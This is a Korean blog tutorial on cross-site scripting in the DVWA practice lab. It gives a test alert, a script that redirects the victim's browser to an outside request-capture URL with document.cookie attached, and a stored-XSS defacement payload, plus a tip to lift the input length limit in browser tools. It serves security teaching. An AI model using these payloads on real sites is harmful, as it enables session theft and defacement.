모의해킹 | Ethical Hacking

XSS CROSS SITE SCRIPTING [실습] [세션쿠키탈취] [DVWA] [DEFACE공격]

건우Sec 2024. 8. 11. 16:30

XSS 란?

 

웹페이지에 악성 스크립트를 삽입해 사용자의 개인정보를 뺴돌리거나신천지 사이트가 털렸던거처럼 디페이스 공격을 하는것을

 

XSS CROSS SITE SCRIPTING 이라 한다.

 

XSS 공격기법도 다양하다

 

1. Reflected XSS

 

반사 조건으로 악성스크립트를 웹페이지에 삽입했을떄그대로 반사되는걸 우린 XSS 반사조건이라 한다또한 웹페이지 검색창에 악성스크립트를 삽입하여 피싱을 유도하거나 세션쿠키를 탈취할수 있다

 

2. Stored XSS

 

게시물에서 시작되며 게시물에 악성스크립트를 삽입하여

다른이가 게시물을 클릭했을때 피싱으로 변질되거나 세션쿠키를 탈취할수 있다.

 

2가지 실습

 

본 실습은 DVWA에서 합니다.

 

1. Reflected XSS

 

우리가 흔하게 볼수있는 검색창이다

 

자 우린 여기에 XSS 취약점이 있는지부터 확인할것이다.

 

 

<script>alert('DVWA XSS 실습')</script> 

 

라고 적은후 Submit 을 눌러보자.

 

 

alert('DVWA XSS 실습') 에 적었던게 그대로 조건반사가 되였다

 

이로선 우린 XSS 취약점이 있다는걸 확인했다

 

**이번엔 세션쿠키 탈취에 대헤서 배워보자.**

 

먼저 실습에 들어가기전.

 

세션쿠키란?

 

사용자가 웹사이트에 로그인하면, 서버는 세션 쿠키를 생성하고 사용자의 브라우저에 전달하는걸

세션쿠키라 한다.

 

좀더 쉽게 말하자면 

 

세션쿠키는 일회용 무료 식사권이랑 똑같다 우리가 식사를 끝마치고 

나갈때 웹브라우저에선 로그인 후 세션 쿠키를 통해 로그인 상태임을 유지하고, 브라우저를 닫으면 쿠키는 사라지는거와

같이 쉽게 비유를 하자면 이렇다.

 

 

**실습에 들어가보자**

 

먼저 세션쿠키를 탈취하는 서버가 필요한다 우리가 그걸 구축하기는 귀찮고 어려우니.

 

 

 

dreamhack 이 배포하는걸 사용해볼것이다 

 

https://tools.dreamhack.games/myrequest

 

저 링크는 쉽게 말하자면 우리가 사용할 피싱 링크라고 생각하면 된다

 

저링크를 복사하고

 

 

다시 DVWA 에 들어가 페이로드를 작성해보자

 

<script>window.location.href="피싱링크/"+document.cookie</script>

 

Submit

 

 

HACKED BY madpayload

 

이와 같이 정보가 세션쿠키 탈취 서버로 넘겨지는데 거기에서 우리는

 

세션쿠키를 탈취한걸 보인다

 

(자기 세션쿠키를 탈취한것이므로 다른이에게 적용X)

 

1. Stored XSS

 

본 실습은 DVWA 에서

 

이번에는 웹 사이트 변조를 DEFACE 공격을 해볼것이다.

 

게시물 저장형이기때문에 영구적인 훼손이 가능하다는점에서 많이 활용된다.

 

평범한 게시물이다

 

우린 DEFACE 공격을 할것이다 그전에

 

XSS 취약점이 있는지 확인하자.

 

마찬가지로 XSS 취약점이 있다

 

다음과 같이 페이로드를 써주자

 

<script>
  document.body.innerHTML = '<h1>HACKED BY madpayload</h1><p>당신의 사이트는 내가접수하지</p>';
</script>

 

다음과 같이 글이 안써진다

 

해결방법

 

 

관리자 도구를 꺼내주고

 

이와 똑같은 코드를 찾아주자

mexlength 를 500 으로 바꿔주자

 

<script>   document.body.innerHTML = '<h1>HACKED BY madpayload</h1><p>당신의 사이트는 내가접수하지</p>'; </script>

한번 저장된 게시물이여서 리다이렉트를 시켜도 영구저장된다 주의

 

또한 저 태그를 꾸미고 악성 스크립트를 삽입하면

 

 

ㅋㅋㅋㅋ 이런식으로 할수 있다

 

한번 실습해보는걸 추천합니다 재밌어요 ㅎㅎ